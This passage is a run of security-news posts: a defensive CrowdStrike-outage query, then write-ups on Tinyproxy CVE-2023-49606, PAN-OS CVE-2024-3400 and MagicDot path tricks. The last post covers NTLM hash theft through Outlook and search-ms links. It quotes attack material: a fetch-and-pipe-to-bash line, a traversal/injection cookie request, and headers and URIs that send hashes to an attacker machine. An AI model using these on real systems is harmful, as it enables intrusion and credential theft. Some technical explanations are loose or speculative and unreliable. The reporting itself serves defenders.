Make note of the value listed in the “ImpactedChannel” column. This value will be used in the next step and typically is around 30 for Falcon tenants.

Step 2: Execute Detailed Query to Identify Impacted Systems

With the impacted channel file identified, the next step is to run a more detailed query to identify the systems affected during the critical impact window.

Query to Identify Impacted Systems:

// Get ConfigStateUpdate and SensorHeartbeat events
#event_simpleName=/^(ConfigStateUpdate|SensorHeartbeat)$/ event_platform=Win
// Narrow search to Channel File 291 and extract version number; accept all
SensorHeartbeat events
| case{
#event_simpleName=ConfigStateUpdate | regex("\|1,123,(?<CFVersion>.*?)\|",
field=ConfigStateData, strict=false) | parseInt(CFVersion, radix=16);
#event_simpleName=SensorHeartbeat | rename([[@timestamp, LastSeen]]);
}
// Restrict results to hosts that were online during impacted time window
| case{
#event_simpleName=ConfigStateUpdate | @timestamp>1721362140000 AND
@timestamp < 1721366820000 | CSUcounter:=1;
#event_simpleName=SensorHeartbeat | LastSeen>1721362140000 AND
LastSeen<1721366820000 | SHBcounter:=1;
*;
}
| default(value="0", field=[CSUcounter, SHBcounter])
// Make sure both ConfigState update and SensorHeartbeat have happened
| selfJoinFilter(field=[cid, aid, ComputerName], where=[{ConfigStateUpdate},
{SensorHeartbeat}])
// Aggregate results
| groupBy([cid, aid], function=([{selectFromMax(field="@timestamp",
include=[CFVersion])}, {selectFromMax(field="@timestamp", include=[@timestamp])
| rename(field="@timestamp", as="LastSeen")}, max(CSUcounter, as=CSUcounter),
max(SHBcounter, as=SHBcounter)]), limit=max)
// Perform check on selfJoinFilter
| CFVersion=* LastSeen=*
// ////////////////////////////////////////////////////////// //
// UPDATE THE LINE BELOW WITH THE IMPACTED CHANNEL FILE NUMBER //
// ////////////////////////////////////////////////////////// //
| in(field="CFVersion", values=[0,31])
// Calculate time between last seen and now
| LastSeenDelta:=now()-LastSeen
// Optional threshold; 3600000 is one hour; this can be adjusted
| LastSeenDelta>3600000
// Calculate duration between last seen and now
| LastSeenDelta:=formatDuration("LastSeenDelta", precision=2)
// Convert LastSeen time to human-readable format
| LastSeen:=formatTime(format="%F %T", field="LastSeen")
// Enrich aggregation with aid_master details
| aid=~match(file="aid_master_main.csv", column=[aid])
| aid=~match(file="aid_master_details.csv", column=[aid],
include=[FalconGroupingTags, SensorGroupingTags])
// Convert FirstSeen time to human-readable format
| FirstSeen:=formatTime(format="%F %T", field="FirstSeen")
// Move ProductType to human-readable format and add formatting
| $falcon/helper:enrich(field=ProductType)
| drop([Time])
| default(value="-", field=[MachineDomain, OU, SiteName, FalconGroupingTags,
SensorGroupingTags], replaceEmpty=true)
// Create conditions to check for impact
| case{
LastSeenDelta>3600000 | Details:="OK: Endpoint seen in past hour.";
CSUcounter=0 AND SHBcounter=0 | Details:="OK: Endpoint did not receive
channel file during impacted window. Endpoint was offline.";
CSUcounter=0 AND SHBcounter=1 | Details:="OK: Endpoint did not receive
channel file during impacted window. Endpoint was online.";
CSUcounter=1 AND SHBcounter=1 | Details:="CHECK: Endpoint received channel
file during impacted window. Endpoint was online. Endpoint has not been seen
online in past hour.";
}
// Create one final groupBy for easier export to CSV
| groupBy([cid, aid, ComputerName, LastSeen, CFVersion, LastSeenDelta, Details,
AgentVersion, aip, event_platform, FalconGroupingTags, LocalAddressIP4, MAC,
MachineDomain, OU, ProductType, SensorGroupingTags, SiteName,
SystemManufacturer,SystemProductName, Version], limit=max)

Explanation:

1. Filter Events: The query selects events with the names ConfigStateUpdate and SensorHeartbeat on the Windows platform.
2. Extract and Parse Version: It extracts the configuration file version from the ConfigStateUpdate events and parses it as an integer.
3. Identify Time Window: It filters events that occurred within the impact window (0400 – 0600 UTC on July 19, 2024).
4. Counter Flags: Sets counters for systems that were online and processed the update during the impact window.
5. Join Filters: Ensures both ConfigStateUpdate and SensorHeartbeat events occurred for the same systems.
6. Aggregate Results: Aggregates the results, including the configuration file version and the last seen timestamp.
7. Check Impacted Versions: Filters systems running the impacted channel file version (CFVersion) identified earlier.
8. Calculate Time Deltas: Calculates the time since the systems were last seen and formats it for readability.
9. Enrich Data: Matches additional details from master files and converts timestamps to human-readable formats.
10. Impact Assessment: Sets detailed status messages based on the system’s update and online status during the impact window.
11. Export Results: Groups the final results for easier export to CSV.

Important: Update the line with the impacted channel file number derived from Step 1:

sqlCopy code| in(field="CFVersion", values=[0,31])

Adjust the time window if necessary by changing the threshold value. The default is set to one hour (3600000 milliseconds).The output of this query will show systems that have last reported running an impacted version of Channel File 291 that have not been seen in the past hour.
If the time window of one hour is too long, that can be adjusted in Line 26 of the query:
// Optional threshold; 3600000 is one hour
| LastSeenDelta>3600000
The value 3600000 is one hour in milliseconds. You can pick the threshold that best suits your
needs.

By following these steps and using the provided queries, you can accurately scope and identify systems impacted by the recent CrowdStrike outage. This method ensures that all affected systems are assessed, and necessary remediation actions are taken promptly to restore normal operations.

The post Step-by-Step: How to Identify Systems Hit by the CrowdStrike Outage in Your On-Premise or Cloud Environment appeared first on Information Security Newspaper | Hacking News.

Overview of the Vulnerability

Tinyproxy, a minimalist, open-source HTTP proxy, is designed for simplicity and efficiency, making it popular in environments where lightweight proxies are required. The vulnerability in question arises in the parsing of HTTP Connection headers—a fundamental component meant to specify which headers are persistent during an HTTP session.

According to the Cisco Talos vulnerability report (TALOS-2023-1889), specific versions of Tinyproxy, namely 1.11.1 and 1.10.0, are affected. The flaw exists in the remove_connection_headers function of Tinyproxy, where a use-after-free error can occur. This kind of software bug is particularly dangerous as it can lead to memory corruption, providing an attacker with a pathway for executing arbitrary code on the host machine.

Technical Breakdown

The issue arises when Tinyproxy handles HTTP headers that are supposed to be removed according to the Connection header’s directives. If the Connection or Proxy-Connection headers are manipulated by an attacker, it can lead to the reuse of previously freed memory. This use-after-free scenario is triggered as follows:

• Tinyproxy iterates over the headers specified in the Connection or Proxy-Connection header.
• Each specified header is removed from a key-value store (hashofheaders), and its memory is subsequently freed.
• However, due to an error in the management of these headers, the freed memory can be reused before the function completes, leading to memory corruption.

This vulnerability is particularly concerning because it can be exploited with a simple malformed HTTP request, making it easy for an attacker to leverage and potentially take over the system running Tinyproxy.

Exploitability and Impact

The CVSSv3 score for this vulnerability is 9.8 (Critical), which underscores its severity. An attacker does not need authenticated access to the target system, making it accessible to any malicious entity that can send HTTP requests to the affected proxy. The potential impacts include unauthorized access, data breaches, service disruption, and in severe cases, complete system compromise.

A use-after-free issue occurs when an application continues to use a memory reference (pointer) after it has freed the memory to which the pointer refers. This can lead to unpredictable behavior, including application crashes, data corruption, and the execution of arbitrary code.

Exploitation Example for CVE-2023-49606

Scenario Setup: Imagine a scenario where a server is running Tinyproxy version 1.11.1. This version is known to have a use-after-free vulnerability in the way it processes HTTP Connection headers.

Step-by-Step Exploitation:

1. Initial HTTP Request by Attacker:
   • The attacker crafts an HTTP request that includes specially designed Connection headers. The goal is to manipulate these headers to trigger the use-after-free condition.
   • Example HTTP request:
     • GET / HTTP/1.1
     • Host: vulnerable-proxy.com
     • Connection: keep-alive, maliciousHeader
     • maliciousHeader: freeThis
2. Processing the Request:
   • Tinyproxy receives the request and parses the headers. According to the specifications, it must remove headers listed in the Connection header after processing the request.
   • The remove_connection_headers function is called to handle this task.
3. Triggering the Use-After-Free:
   • During the processing, Tinyproxy removes maliciousHeader and frees the memory associated with it. However, due to a flaw in the proxy’s memory management, this freed memory could be reallocated for new data while still being referenced by the ongoing process.
   • Suppose the freed memory is quickly reallocated and filled with attacker-controlled data through another part of the application (or another request processed concurrently).
4. Exploiting the Freed Memory:
   • The attacker anticipates that Tinyproxy will access this freed (and now reallocated) memory again before the function completes. If this memory now contains executable code or data crafted by the attacker, it might be executed or wrongly used by the application.
   • For instance, if the memory location is used to store a function pointer, the attacker could overwrite this pointer with the address of their malicious code.
5. Executing Arbitrary Code:
   • When Tinyproxy tries to access the “freed” memory as part of its usual operations (e.g., to log details or continue processing headers), it inadvertently executes the code pointed to by the overwritten pointer.
   • This could allow the attacker to execute arbitrary code on the server running Tinyproxy, potentially giving them full control over the server.

Example of Malicious Impact:

• The attacker could install backdoors, exfiltrate confidential data, launch further attacks from the compromised server, or disrupt the server’s operations.

Mitigation and Response

As of the last update from Cisco Talos, there has been no official patch or maintenance release from the maintainers of Tinyproxy to correct this vulnerability. Organizations using Tinyproxy are advised to monitor their systems closely for unusual activity and implement additional safeguards until a patch is available. This may include:

• Deploying web application firewalls (WAFs) to filter out malicious HTTP headers.
• Isolating the proxy server from critical internal networks.
• Regularly updating all software to the latest versions where possible.

For users and administrators of Tinyproxy, understanding the technical mechanics of this vulnerability and staying vigilant about monitoring their network traffic is crucial. Immediate action is recommended to mitigate the risks associated with this critical vulnerability until a permanent fix is issued.

The post How Safe is Your TinyProxy? Step-by-Step Guide to Exploiting Tinyproxy’s Zero Day Vulnerability appeared first on Information Security Newspaper | Hacking News.

Overview of CVE-2024-3400

CVE-2024-3400 is categorized as an unauthenticated remote code execution vulnerability that could allow attackers to execute arbitrary code on the affected device without needing prior authentication. The flaw is particularly concerning because it can be exploited remotely, potentially giving attackers deep access to network defenses.

The CVE-2024-3400 vulnerability in Palo Alto Networks’ PAN-OS, targeted by Operation MidnightEclipse, has recently been leveraged for more sophisticated exploits, including the deployment of the UPSTYLE backdoor and the creation of malicious cronjobs. This detailed examination highlights the current scope of the attack, with insights derived from ongoing cybersecurity investigations.

Current Scope of the Attack

The exploitation of CVE-2024-3400 has evolved into a multi-faceted attack vector, primarily utilized by sophisticated threat actors. These actors employ a combination of direct command execution and advanced persistence mechanisms to maintain access and control over compromised systems. The UPSTYLE backdoor and associated cronjob activities represent two of the most critical components of this attack:

1. UPSTYLE Backdoor Deployment: In observed attacks, malicious actors have used crafted HTTP requests to exploit the vulnerability, subsequently running shell commands to download and execute the UPSTYLE backdoor script from remote servers. This script is often hosted on compromised web servers, with addresses like 144.172.79[.]92/update.py being involved in the distribution.
2. Cronjob Creation for Persistent Access: Furthering their control, attackers have also been observed creating cronjobs on compromised systems. These cronjobs are designed to automatically execute commands at regular intervals, fetching instructions from URLs like hxxp://172.233.228[.]93/policy | bash. This method ensures that even if the initial backdoor is detected and removed, the attackers retain a method of re-entry.

Technical Insights into UPSTYLE and Cronjob Activities

The technical execution of these components involves several sophisticated techniques:

• Command Execution: The initial exploit allows attackers to execute arbitrary shell commands remotely. This capability is used to install the UPSTYLE backdoor, modify system configurations, and set up new network routes to exfiltrate data securely.
• File Manipulation: Post-exploitation activities include modifying system files to hide the presence of malicious software. This often involves altering logs and other digital footprints that could be used to detect the intrusion.
• Automated Persistence: The cronjobs are set to run every minute, a tactic that provides the attackers with near-constant system access and the ability to push updates or new commands to the compromised system swiftly.

Active Exploitation and PoC Release

Reports from various cybersecurity firms, including Kroll and Zscaler, have highlighted active and opportunistic exploitation of this vulnerability by numerous threat actors. The ease of the exploit, compounded by the release of a PoC, has made CVE-2024-3400 a preferred target for malicious activities aimed at infiltrating and compromising enterprise networks.

Exploit details shared on platforms like GitHub reveal how attackers can utilize path traversal techniques combined with crafted HTTP requests to manipulate the firewall’s operating system, leading to unauthorized remote code execution. The ability of these attacks to bypass traditional security layers underscores the severity of the vulnerability.

Exploitation Mechanism: The exploitation of CVE-2024-3400 involves a series of sophisticated steps that allow attackers to bypass authentication and execute arbitrary code. Here are the key technical elements involved:

• Path Traversal: The initial vector for the attack utilizes a path traversal flaw in the web management interface. Attackers craft malicious HTTP requests that manipulate the file system to access areas that are normally restricted. This is typically achieved through inputs that include “../” sequences or similar methods to navigate the file system.
• Command Injection: After gaining access to restricted areas, attackers exploit command injection vulnerabilities. By inserting malicious commands into scripts or command lines that the system erroneously executes, attackers can initiate unauthorized actions on the device.
• Remote Code Execution (RCE): The culmination of the exploit allows attackers to run arbitrary code with the same privileges as the operating system of the firewall. This can lead to full system control, data manipulation, and initiation of further attacks from the compromised device.

Proof-of-Concept (PoC) Exploitation

The proof-of-concept that circulated in cybersecurity circles demonstrated a practical application of the aforementioned exploit techniques. The PoC is typically a script or set of instructions that exploit the vulnerability to prove its existence and potential for damage. In the case of CVE-2024-3400, the PoC details are as follows:

• Exploit Script: Publicly available scripts show how attackers can automatically perform the exploit using simple HTTP requests. These scripts are often shared on coding platforms like GitHub or cybersecurity forums.
• HTTP Request Manipulation: The PoC often includes examples of HTTP requests that induce the vulnerability. For example, an HTTP request might include a path traversal combined with a command injection like:vbnetCopy codePOST /ssl-vpn/hipreport.esp HTTP/1.1 Host: vulnerable-host Cookie: SESSID=../../../../../../var/cmd; command-to-execute
• Malicious Payloads: These payloads are crafted to perform specific actions on the compromised device, such as opening a reverse shell, modifying firewall rules, or exfiltrating confidential data.

Response from Palo Alto Networks

In response to the escalating threat, Palo Alto Networks has issued several security updates and detailed guidance for mitigation. The company has acknowledged the PoC and its implications, urging all users of the affected PAN-OS versions to update their systems immediately to the latest firmware.

Persistent Threats Despite Remediation

1. Persistent Rootkits: The researcher indicates that they have developed a payload that can survive not only operational resets but also factory resets. This type of malware, often referred to as a rootkit, embeds itself deeply within the system such that standard cleanup processes do not erase it. Rootkits can intercept and alter standard operating system processes to hide their presence, making detection and removal particularly challenging.
2. Post-Exploitation Persistence: There is mention of post-exploit persistence techniques that remain effective even after the device has been reset or firmware upgrades have been applied. This means that merely resetting the device to factory settings or updating its firmware isn’t sufficient to ensure that it is free from compromise. The persistence techniques developed can withstand these typical remedial actions.
3. Low Barrier to Entry: The researcher points out that creating such a persistent rootkit does not require advanced skills, suggesting that even less sophisticated attackers could deploy similar threats. This lowers the barrier to entry for executing highly effective and persistent attacks on vulnerable systems.
4. Physical Hardware Replacement Needed: Due to the rootkit’s resilience and deep integration into the system, the researcher recommends a full physical swap of the affected hardware or a thorough offline inspection and validation of the firmware and BIOS by a specialist. This is suggested as the only sure way to remove such entrenched malware, highlighting the severity and depth of the potential security breach.

Updated PSIRT Guidance

• Persistence Acknowledgement: The Palo Alto Networks Product Security Incident Response Team (PSIRT) has updated their guidance to acknowledge that malware can persist through updates and factory resets. This is an important admission that helps users understand the potential for ongoing risks even after applying what are typically considered comprehensive mitigation steps.
• Safety After Patching: While early patching is critical, the updated guidance suggests that simply having patched early does not guarantee safety against sophisticated attackers who may have enabled persistence mechanisms. Users who patched their systems immediately after the vulnerability was disclosed may still need to consider additional measures to ensure their systems are secure.

Recommendations

Given the nature of this persistent threat, organizations and individuals using affected Palo Alto Networks products should consider the following actions:

1. Physical Replacement: Where feasible, replace potentially compromised hardware to eliminate any chance of lingering threats.
2. Specialist Review: Engage with cybersecurity specialists to conduct thorough offline checks of the firmware and BIOS to ensure no elements of the rootkit or other malware remain.
3. Enhanced Monitoring: Implement enhanced monitoring and logging to detect any signs of rootkit activity or other unusual behaviors that indicate a compromised system.
4. Comprehensive Security Practices: Continue applying security best practices, including regular updates, strict access controls, and frequent security audits to identify and mitigate threats.

The exploitation of CVE-2024-3400 has significant implications for network security, particularly for enterprises that rely on Palo Alto firewalls to protect their critical infrastructure. The vulnerability exposes these networks to potential espionage, data breaches, and other malicious activities if not addressed promptly.

Security experts recommend implementing a multi-layered defense strategy that includes regular updates, monitoring for unusual network activity, and employing advanced threat detection solutions. Additionally, companies are advised to review and strengthen their incident response plans to quickly react to any breaches that might occur.

The discovery and subsequent exploitation of CVE-2024-3400 highlight ongoing challenges in cybersecurity defense mechanisms, particularly in widely used infrastructure components like firewalls. It also stresses the importance of timely patches and the dangers posed by publicly available exploit codes. As the digital landscape evolves, so too does the necessity for robust, proactive security measures to safeguard critical data and systems from emerging cyber threats.

The post Eternal Malware: CVE-2024-3400 Rootkits Persist Through Palo Alto Firewalls Updates and Resets appeared first on Information Security Newspaper | Hacking News.

Or Yair and his team found that the MagicDot paths—an area seemingly harmless and known but overlooked—posed significant security risks. The vulnerabilities included allowing malicious actors to hide files and processes, manipulate file restoration processes, and make malware appear as verified software on task managers and process explorers. The most concerning part was that these actions could be executed without the need for administrative rights, essentially offering rootkit capabilities to any unprivileged user.

The DOS-to-NT path conversion process in Windows is a fundamental aspect of how the operating system handles file paths. This process can be complex due to the legacy support for DOS-style paths and the current NT (New Technology) file system paths used by modern Windows. Understanding this conversion process is crucial for grasping how vulnerabilities might arise.

DOS Paths

DOS paths are traditionally shorter and have limitations compared to NT paths:

• Length: DOS paths typically support a maximum of 260 characters.
• Format: They use a simple structure, generally starting with a drive letter followed by a colon and a backslash, then the directory names, separated by backslashes (e.g., C:\Program Files\Example).
• Character Set: DOS paths are limited to upper-case letters with no spaces or special characters beyond underscores.

NT Paths

NT paths are used in modern Windows operating systems and support more complex features:

• Length: They can exceed the classic 260-character limit of DOS paths.
• Format: NT paths can include networking setups and subsystem links. They often start with \\?\ for local paths or \\?\UNC\ for network paths to bypass the character limit (e.g., \\?\C:\Program Files\Example).
• Character Set: NT paths allow for a wider range of characters in file and directory names, including spaces and mixed case.

Conversion Process

The conversion from a DOS path to an NT path involves several steps that accommodate these differences. Here’s a simple example to illustrate:

Example of Conversion

DOS Path: C:\PROGRA~1\Example

• This is a shortened DOS path where PROGRA~1 might be the shortened version of Program Files.

Converted NT Path: \\?\C:\Program Files\Example

• The DOS path is expanded to its full NT format, including the special prefix \\?\ that tells Windows to handle this as an extended-length path.

Vulnerabilities

The conversion process is prone to vulnerabilities, especially if malicious actors manipulate path names by inserting special characters or irregular spacing. For example:

• Manipulated DOS Path: C:\PROGRA~1\Example\.. \.. \badfile.exe
• In this manipulated path, the use of dots (..) and irregular spacing can trick the system into navigating up the directory tree unexpectedly, potentially accessing or executing a file (badfile.exe) from an unintended location.

The vulnerabilities uncovered by the “MagicDot” research, particularly focusing on the Windows DOS-to-NT path conversion, highlight significant security risks including Remote Code Execution (RCE) and Elevation of Privilege (EoP). These vulnerabilities stem from the system’s mishandling of file paths, where the inclusion of special characters like trailing dots and spaces can lead to unexpected and potentially harmful behavior. Here’s a breakdown of how these specific vulnerabilities manifest:

Remote Code Execution (RCE)

Overview: Remote Code Execution occurs when an attacker is able to execute arbitrary code on another machine over a network, typically bypassing security mechanisms to gain control of the targeted system.

MagicDot Exploitation Path:

• File Name Manipulation: An attacker can craft file names with trailing dots and spaces that are misinterpreted by some parts of the Windows OS but are treated as valid executable paths by others.
• Misleading Application and Services: For example, a script or application might download a file named safe_script.ps1. intending to run a PowerShell script. The system, however, executes a malicious script named safe_script.ps1 (without the dot) that the attacker previously placed on the system.
• Triggering Execution: This can happen through web downloads, email attachments, or other means where the user or an automated system executes what appears to be a benign file, leading to the execution of malicious code.

Elevation of Privilege (EoP)

Overview: Elevation of Privilege occurs when an attacker gains higher access rights than intended, typically moving from a lower privilege level to a higher one, such as obtaining administrative rights from a normal user account.

MagicDot Exploitation Path:

• Directory and File Confusion: By creating directories or files with trailing spaces or dots, an attacker might confuse system processes about the identity and attributes of a file or directory. For instance, manipulating file paths could trick the system into executing a file from an unprivileged context as if it has administrative privileges.
• Bypassing Security Controls: These path manipulations can allow malware to be placed in sensitive directories or execute operations that normally require higher privileges. For example, an executable might be placed in a system directory disguised with a trailing dot, misleading system defenses that check the integrity of filenames without considering such anomalies.
• Exploiting System Processes: If a system process automatically processes files from a directory (like a temp directory) and executes files supposed to be logs or non-executable data, the misinterpreted paths can lead to unauthorized administrative actions being performed.

The most critical of these vulnerabilities was logged under CVE-2023-42757, which, as confirmed by MITRE and Microsoft, pertains to an exploitable flaw that will be documented in a forthcoming CVE entry.

The Exploit Technique

The MagicDot exploit takes advantage of the way Windows trims trailing dots and spaces from file names during its DOS-to-NT path conversion. By carefully crafting file names that include these characters, attackers can create files that appear benign to certain processes while being malicious in nature. Here’s a detailed step-by-step example of how such an exploit might be executed:

Example of MagicDot Exploit

1. Creating the Malicious File:
   • An attacker creates a file named important.txt... on a system. While the file name is displayed as important.txt in most legacy interfaces (due to DOS conventions trimming the trailing dots), the NT file system retains the full name including the dots.
2. Exploitation:
   • The attacker convinces a system process or an application to interact with important.txt, intending to access the benign-looking file.
   • Due to the path conversion process, some applications that do not trim trailing spaces or dots may end up interacting with important.txt..., which is actually a different, malicious file controlled by the attacker.
3. Bypassing Security Measures:
   • By using this naming discrepancy, the malicious file can bypass security measures that might not recognize it as a threat due to its seemingly innocuous name (as seen by most legacy applications).
4. Impact:
   • This kind of path manipulation could allow the attacker to execute arbitrary code, replace system files, intercept data, or cause other unauthorized actions, all while avoiding detection by security tools that only scan for known dangerous paths or file names.

Rootkits are malicious software designed to gain unauthorized access to a computer system while remaining hidden from users and security programs. They often provide the attacker with administrator-level access, allowing them to alter system configurations, hide malicious activity, and maintain persistent access. Rootkit capabilities vary, but they typically include functionalities that manipulate core system processes and structures to conceal their presence.

Technical Details on Rootkit Capabilities

Rootkits interact deeply with the operating system, often at the kernel level, to avoid detection. They can intercept and alter system calls, hide specific files and directory entries, and mask network connections and processes. Here’s how rootkit capabilities can be understood through a conceptual example:

Example: File and Process Concealment Rootkit

1. Kernel-Level Manipulation:
   • The rootkit injects itself into the kernel or operates as a kernel module, giving it high-level control over system functions.
2. File Concealment:
   • Objective: Make certain files invisible to system tools and users.
   • Method: The rootkit intercepts system calls that list directory contents (e.g., readdir on Linux or NtQueryDirectoryFile on Windows). It modifies the results to exclude specific files or directories from being displayed.
3. Process Concealment:
   • Objective: Hide certain processes to avoid detection by task managers or monitoring software.
   • Method: Similar to file concealment, the rootkit intercepts system calls related to process enumeration (e.g., NtQuerySystemInformation on Windows). It then filters out any information related to its own processes or other specified malicious processes.
4. Example Scenario:
   • An attacker installs a rootkit on a system that hides a malicious process named badprocess.exe. The rootkit is programmed to intercept calls to NtQuerySystemInformation, used by Windows Task Manager to list running processes.
   • When Task Manager runs, it queries the system for a list of all processes. However, each time this query includes badprocess.exe, the rootkit removes this entry from the results.
   • As a result, badprocess.exe operates on the system without appearing in the task list, effectively invisible to both users and most antivirus software.

Unprivileged Rootkit-like Capabilities Through MagicDot Paths

Rootkits traditionally require privileged access to a system to manipulate core processes and remain undetected. However, the MagicDot findings illustrate that attackers can achieve similar outcomes—such as concealing malicious activities and manipulating system processes—without needing such elevated privileges. This is done through clever manipulation of file path anomalies allowed by the system.

Key Capabilities Demonstrated:

1. File and Directory Masking:
   • By appending dots (.) and spaces to filenames, attackers can create files or directories that are not properly recognized or are misinterpreted by certain parts of the operating system. This allows malicious files to be hidden in plain sight, effectively invisible to standard file management tools and even some antivirus software.
2. Misleading System and Applications:
   • The anomalies in handling trailing dots and spaces can mislead applications and system processes about the true nature or existence of files. For example, a file named example.txt... might be shown and treated as example.txt in some interfaces, while it is a separate and potentially harmful file in reality.
3. Bypassing Security Mechanisms:
   • These path manipulations can be used to bypass security mechanisms that rely on file path integrity checks. By exploiting the discrepancies between how file paths are displayed and stored, attackers can smuggle in or execute malicious payloads unnoticed.
4. Persistent Access and Control:
   • Similar to traditional rootkits, files created using MagicDot techniques can persist on the system and perform unauthorized activities without being detected. These files can continually interfere with system operations or monitor user actions covertly.

Example Scenario:

Suppose an attacker wants to execute a malicious script without detection. They might create a file named update.bat... on a system. Here’s how they could leverage the MagicDot vulnerability:

• Creation: The attacker uploads update.bat... via a compromised email attachment or through a web download.
• Execution Ambiguity: The file might be displayed as update.bat in some administrative tools, leading system administrators to believe it’s a legitimate batch file for updates.
• System Manipulation: When executed (either by an auto-run setup or manual execution), the system runs the malicious update.bat..., believing it to be benign, allowing the attacker to execute a payload that could steal data, install further malware, or create backdoors.

Implications for Software Vendors

Upon discovering such vulnerabilities, researchers typically engage in a responsible disclosure process with the vendor, in this case likely Microsoft. This includes privately informing Microsoft of the vulnerabilities, allowing them time to verify and develop a fix before any public disclosure. Microsoft would then acknowledge the issue, investigate, and replicate the findings, followed by developing and releasing a patch. They would also issue a detailed advisory that includes mitigation guidance and a CVE number for tracking. The findings from SafeBreach Labs underscore a crucial reminder for software developers—known issues, even if longstanding and seemingly minor, can pose serious security risks if left unaddressed. This case study emphasizes the need for thorough assessments and updates to existing software infrastructures to prevent potential exploits.

The study not only exposes specific vulnerabilities but also proposes actionable insights for software vendors on maintaining and enhancing security protocols. As vulnerabilities like these are widespread and not limited to a single software product, the implications are broad and warrant a systemic review by all software vendors to safeguard against similar exploits.

The post Hacking with MagicDots: Exploiting Dots & Spaces in Filenames/Pathnames for Permanent Admin Rights appeared first on Information Security Newspaper | Hacking News.

What is CVE-2023-35636?

CVE-2023-35636 is an exploit targeting the calendar sharing function in Microsoft Outlook. By adding two specific headers to an email, attackers can direct Outlook to share content and contact a designated machine, thereby intercepting an NTLM v2 hash.

Understanding NTLM v2

NTLM v2 is a cryptographic protocol used by Microsoft Windows for authenticating users to remote servers. Despite being more secure than its predecessor, NTLM v2 is still vulnerable to offline brute-force and authentication relay attacks. The protocol involves transporting passwords as hashes, which, without salting, are password equivalent.

Exploitation of NTLM v2 Hashes

Attackers can use NTLM v2 hashes in two primary ways:

1. Offline brute-force attacks: Here, attackers access a copy of the NTLM v2 hash and generate all possible passwords to find a match.
2. Authentication relay attacks: This involves intercepting an NTLM v2 authentication request and forwarding it to a different server.

Leaking NTLM v2 Hashes Using Outlook

The Outlook vulnerability lies in its calendar sharing feature. By crafting an email with specific headers, attackers can redirect the hashed password to their machine.

The Outlook Exploit:

1. “Content-Class” = “Sharing” — Indicates the email contains sharing content.
2. “x-sharing-config-url” = \\(Attacker machine)\a.ics — Directs the victim’s Outlook to the attacker’s machine.

Leaking NTLM v2 Hashes Using URI Handlers and WPA

URI handlers in operating systems allow applications to register for specific URI types. Windows Performance Analyzer (WPA) uses a URI handler “WPA://” by default. Attackers can exploit this to authenticate using NTLM v2 over the open web.

The WPA Exploit

The exploit involves a simple payload that directs the victim’s machine to access the attacker’s machine via SMB, potentially leaking the NTLM v2 hash.

Attack Scenario

Step 1: Crafting the Malicious Email

1. Attacker’s Preparation: The attacker prepares an email with two specific headers:
   • "Content-Class" = "Sharing": This header tells Outlook that the email contains sharing content.
   • "x-sharing-config-url" = \\[Attacker's Machine]\a.ics: This header points the victim’s Outlook to a file (a.ics) hosted on the attacker’s machine.

Step 2: Victim Receives the Email

1. Victim’s Action: The victim receives the email and interacts with it (e.g., clicks on a link or button in the email that says “Open this iCal”).
2. Outlook’s Response: Due to the headers in the email, Outlook attempts to retrieve the a.ics file from the attacker’s machine.

Step 3: Intercepting the NTLM v2 Hash

1. Hash Transmission: When Outlook tries to access the file on the attacker’s machine, it sends an NTLM v2 hash of the user’s password for authentication.
2. Attacker’s Interception: The attacker captures this hash.

Step 4: Exploiting the Hash

1. Offline Brute-Force Attack: The attacker uses the captured hash to perform an offline brute-force attack. This involves trying various password combinations against the hash until a match is found.
2. Gaining Unauthorized Access: Once the correct password is determined, the attacker can use it to access the victim’s account or system.

Example

Imagine a scenario where Alice, an employee at a corporation, receives an email that appears to be a calendar invite from a colleague. The email contains a button saying “Open this iCal”. Unbeknownst to Alice, the email is actually from an attacker and is crafted to exploit CVE-2023-35636.

When Alice clicks the button, her Outlook tries to fetch the a.ics file from what she believes is her colleague’s machine but is actually the attacker’s server. During this process, her computer sends an NTLM v2 hash of her password to the attacker’s server for authentication.

The attacker, now in possession of Alice’s NTLM v2 hash, uses a powerful computer to perform an offline brute-force attack. Eventually, the attacker discovers Alice’s actual password and gains unauthorized access to her corporate account, potentially leading to data theft or further network compromise.

Leaking NTLM v2 Hashes Using Windows File Explorer

How a similar attack to the Outlook vulnerability can be executed using Windows File Explorer. This involves exploiting the “subquery” and “crumb” parameters in the URI handler “search-ms” of Windows File Explorer.

Background: Windows File Explorer and URI Handlers

Windows File Explorer, known as explorer.exe, is a file management application in Windows. It includes a feature called URI handlers, which allows it to process special types of links (search-ms://) that can trigger specific actions within the File Explorer.

Attack Scenario Using Windows File Explorer

Step 1: Crafting the Malicious Link

1. Attacker’s Preparation: The attacker creates a malicious link using the search-ms URI scheme. This link includes special parameters that will direct the victim’s File Explorer to the attacker’s machine. There are two methods to do this:
   • Using the “subquery” parameter: search-ms://query=poc&subquery=\\[Attacker's Machine]\poc.search-ms
   • Using the “crumb” parameter: search-ms://query=poc&crumb=location:\\[Attacker's Machine]

Step 2: Delivering the Malicious Link

1. Distribution: The attacker sends this link to the victim via email, social media, or other means. The link might be disguised as a legitimate search query or file request.

Step 3: Victim Interacts with the Link

1. Victim’s Action: The victim clicks on the link, believing it to be legitimate.
2. File Explorer’s Response: The victim’s File Explorer attempts to execute the search or access the file specified in the link, which points to the attacker’s machine.

Step 4: Intercepting the NTLM v2 Hash

1. Hash Transmission: To access the resource on the attacker’s machine, the victim’s system sends an NTLM v2 hash of the user’s password for authentication.
2. Attacker’s Interception: The attacker captures this hash from their machine.

Step 5: Exploiting the Hash

1. Offline Brute-Force Attack: The attacker uses the captured hash to perform an offline brute-force attack, attempting to find the actual password.
2. Gaining Unauthorized Access: If successful, the attacker can use the password to gain unauthorized access to the victim’s system or network.

Example

Consider a scenario where Bob, a user, receives an email with a link that appears to direct him to a useful file search on his company’s network. The link is actually a malicious search-ms URL crafted by an attacker. When Bob clicks the link, his File Explorer tries to execute the search, which unknowingly points to the attacker’s server.

As File Explorer attempts to access the resource, it sends an NTLM v2 hash of Bob’s password for authentication. The attacker captures this hash and then uses various tools to crack the password offline. Once the password is obtained, the attacker can potentially access Bob’s computer or other resources within the company’s network.

This attack scenario demonstrates the potential vulnerability within Windows File Explorer when handling specially crafted search-ms URLs. It highlights the importance of being cautious with links, even those that seem to be internal file or search requests, and the need for robust security measures to protect against such NTLM hash theft attacks. Varonis Threat Labs also discovered vulnerabilities in Windows File Explorer’s process, explorer.exe, particularly in the “subquery” and “crumb” parameters of the URI handler “search-ms”.

The Windows File Explorer Exploits

1. Using the “subquery” parameter: This method directs explorer.exe to connect to a remote SMB, leaking the NTLM v2 hash.
2. Using the “crumb” parameter: Similar to the “subquery” exploit, this method also leads to the theft of the hashed password.

Microsoft’s Response

